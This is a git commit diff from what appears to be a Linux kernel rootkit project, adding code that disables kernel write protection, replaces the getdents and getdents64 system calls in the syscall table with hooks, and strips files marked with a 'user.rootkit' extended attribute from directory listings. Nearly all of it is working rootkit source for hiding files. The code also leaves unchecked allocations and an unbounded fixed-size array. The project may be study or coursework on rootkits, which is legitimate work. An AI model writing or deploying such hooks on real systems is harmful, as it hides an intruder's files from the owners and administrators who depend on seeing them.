commit 76278e7dabe5f237ecf8bb0bb4f3f5eb7920067d
parent 9556906eaebefe7cbf13829ae8b35fa6df908941
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Mon, 23 Nov 2020 01:43:37 +0100
Very ugly, but working file hiding (exluding getdents)
Diffstat:
3 files changed, 52 insertions(+), 8 deletions(-)
diff --git a/src/g7.c b/src/g7.c
@@ -109,6 +109,7 @@ g7_exit(void)
{
DEBUG_INFO("[g7_exit]\n");
remove_proc_entry(G7_DEVICE, 0);
+ remove_hooks();
}
diff --git a/src/hook.c b/src/hook.c
@@ -33,6 +33,20 @@ init_hooks(void)
{
sys_getdents = (void *)sys_calls[__NR_getdents];
sys_getdents64 = (void *)sys_calls[__NR_getdents64];
+
+ disable_protection();
+ sys_calls[__NR_getdents] = (unsigned long) g7_getdents;
+ sys_calls[__NR_getdents64] = (unsigned long) g7_getdents64;
+ enable_protection();
+}
+
+void
+remove_hooks(void)
+{
+ disable_protection();
+ sys_calls[__NR_getdents] = sys_getdents;
+ sys_calls[__NR_getdents64] = sys_getdents64;
+ enable_protection();
}
void
@@ -107,6 +121,17 @@ yield:
return ret;
}
+
+static int
+g7_compare_inodes(unsigned long inode, unsigned long *ino_array, int ino_count)
+{
+ for(int i = 0; i < ino_count; i++)
+ if(inode == ino_array[i])
+ return 1;
+
+ return 0;
+}
+
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
asmlinkage long
@@ -135,20 +160,36 @@ g7_getdents64(const struct pt_regs *pt_regs)
kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;
kdirent_inode = kdirent_dentry->d_inode;
- musthide = must_hide(kdirent_dentry);
- DEBUG_INFO("must hide from 64: %d", musthide);
+ //musthide = must_hide(kdirent_dentry);
+ //DEBUG_INFO("must hide from 64: %d", musthide);
- // TODO
- /* struct list_head *i; */
- /* list_for_each(i, &kdirent_dentry->d_child) { */
- /* struct dentry *child = list_entry(i, struct dentry, ) */
- /* } */
+ //Store all inode numbers that have xattrs set
+ //TODO better implementation, a limit of 256 is stupid (or is it?)
+ unsigned long *ino_array;
+ int ino_count;
+ ino_array = kmalloc(256 * sizeof(unsigned long), GFP_KERNEL);
+ ino_count = 0;
+ // TODO
+ struct list_head *i;
+ list_for_each(i, &kdirent_dentry->d_subdirs) {
+ struct dentry *child = list_entry(i, struct dentry, d_child);
+ if(child && child->d_inode)
+ if(!inode_permission(child->d_inode, MAY_READ)) {
+ char* buf = kmalloc(256, GFP_KERNEL);
+ ssize_t sz = vfs_getxattr(child, "user.rootkit", buf, 256);
+
+ if(!strncmp("rootkit", buf, sz))
+ ino_array[ino_count++] = child->d_inode->i_ino;
+
+ kfree(buf);
+ }
+ }
for (offset = 0; offset < ret;) {
cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset);
- if (false) { // TODO: detect xattrs user.rootkit = rootkit
+ if (g7_compare_inodes(cur_kdirent->d_ino, ino_array, ino_count)) { // TODO: detect xattrs user.rootkit = rootkit
if (cur_kdirent == kdirent) {
ret -= cur_kdirent->d_reclen;
memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
@@ -165,6 +206,7 @@ g7_getdents64(const struct pt_regs *pt_regs)
copy_to_user(dirent, kdirent, ret);
yield:
+ kfree(ino_array);
kfree(kdirent);
return ret;
}
diff --git a/src/hook.h b/src/hook.h
@@ -18,6 +18,7 @@ extern asmlinkage long (*sys_getdents64)(const struct pt_regs *);
int retrieve_sys_call_table(void);
void init_hooks(void);
+void remove_hooks(void);
void disable_protection(void);
void enable_protection(void);